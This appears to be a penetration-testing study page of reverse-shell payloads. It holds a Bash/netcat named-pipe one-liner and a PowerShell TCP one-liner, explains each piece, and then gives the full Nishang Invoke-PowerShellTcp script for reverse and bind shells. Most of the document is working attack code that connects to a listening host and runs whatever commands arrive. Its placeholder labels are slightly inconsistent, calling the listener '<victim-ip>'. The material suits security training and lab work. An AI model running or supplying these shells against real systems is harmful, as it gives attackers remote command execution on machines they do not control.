Payloads

One-Liners Examined

Netcat/Bash Reverse Shell One-liner

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <victim-ip> <port> > /tmp/f
  • Remove rm -f /tmp/f - Removes the /tmp/f file if it exists, -f causes rm to ignore nonexistent files. The semi-colon (;) is used to execute the command sequentially.
  • Make A Named Pipe mkfifo /tmp/f; - Makes a FIFO named pipe file at the location specified. In this case, /tmp/f is the FIFO named pipe file, the semi-colon (;) is used to execute the command sequentially.
  • Output Redirection cat /tmp/f | - Concatenates the FIFO named pipe file /tmp/f, the pipe (|) connects the standard output of cat /tmp/f to the standard input of the command that comes after the pipe (|).
  • Set Shell Options /bin/bash -i 2>&1 | - Specifies the command language interpreter using the -i option to ensure the shell is interactive. 2>&1 ensures the standard error data stream (2) & standard output data stream (1) are redirected to the command following the pipe (|).
  • Open a Connection with Netcat nc <victim-ip> <port> > /tmp/f - Uses Netcat to send a connection to our attack host 10.10.14.12 listening on port 7777. The output will be redirected (>) to /tmp/f, serving the Bash shell to our waiting Netcat listener when the reverse shell one-liner command is executed.

PowerShell One-liner Explained

Powershell One-liner

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<victim-ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • Calling PowerShell powershell -nop -c - Executes powershell.exe with no profile (nop) and executes the command/script block (-c) contained in the quotes. This particular command is issued inside of command-prompt, which is why PowerShell is at the beginning of the command.
  • Binding A Socket "$client = New-Object System.Net.Sockets.TCPClient(<victim-ip>,<port>); - Sets/evaluates the variable $client equal to (=) the New-Object cmdlet, which creates an instance of the System.Net.Sockets.TCPClient .NET framework object. The .NET framework object will connect with the TCP socket listed in the parentheses (<victim-ip>,<port>). The semi-colon (;) ensures the commands & code are executed sequentially.
  • Setting The Command Stream $stream = $client.GetStream(); - Sets/evaluates the variable $stream equal to (=) the $client variable and the .NET framework method called GetStream that facilitates network communications. The semi-colon (;) ensures the commands & code are executed sequentially.
  • Empty Byte Stream [byte[]]$bytes = 0..65535|%{0}; - Creates a byte type array ([]) called $bytes that returns 65,535 zeros as the values in the array. This is essentially an empty byte stream that will be directed to the TCP listener on an attack box awaiting a connection.
  • Stream Parameters while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) - Starts a while loop containing the $i variable set equal to (=) the .NET framework Stream.Read ($stream.Read) method. The parameters: buffer ($bytes), offset (0), and count ($bytes.Length) are defined inside the parentheses of the method.
  • Set The Byte Encoding {;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); - Sets/evaluates the variable $data equal to (=) an ASCII encoding .NET framework class that will be used in conjunction with the GetString method to encode the byte stream ($bytes) into ASCII. In short, what we type won’t just be transmitted and received as empty bits but will be encoded as ASCII text. The semi-colon (;) ensures the commands & code are executed sequentially.
  • Invoke-Expression $sendback = (iex $data 2>&1 | Out-String ); - Sets/evaluates the variable $sendback equal to (=) the Invoke-Expression (iex) cmdlet against the $data variable, then redirects the standard error (2>) & standard output (1) through a pipe (|) to the Out-String cmdlet which converts input objects into strings. Because Invoke-Expression is used, everything stored in $data will be run on the local computer. The semi-colon (;) ensures the commands & code are executed sequentially.
  • Show Working Directory $sendback2 = $sendback + 'PS ' + (pwd).path + '> '; - Sets/evaluates the variable $sendback2 equal to (=) the $sendback variable plus (+) the string PS (‘PS’) plus + path to the working directory ((pwd).path) plus (+) the string ‘> ‘. This will result in the shell prompt being PS C:\workingdirectoryofmachine >. The semi-colon (;) ensures the commands & code are executed sequentially. Recall that the + operator in programming combines strings when numerical values aren’t in use, with the exception of certain languages like C and C++ where a function would be needed.
  • Sets Sendbyte $sendbyte= ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()} - Sets/evaluates the variable $sendbyte equal to (=) the ASCII encoded byte stream that will use a TCP client to initiate a PowerShell session with a Netcat listener running on the attack box.
  • Terminate TCP Connection $client.Close()" - This is the TcpClient.Close method that will be used when the connection is terminated.
function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard Netcat listening on a port when using the -Reverse switch. 
Also, a standard Netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}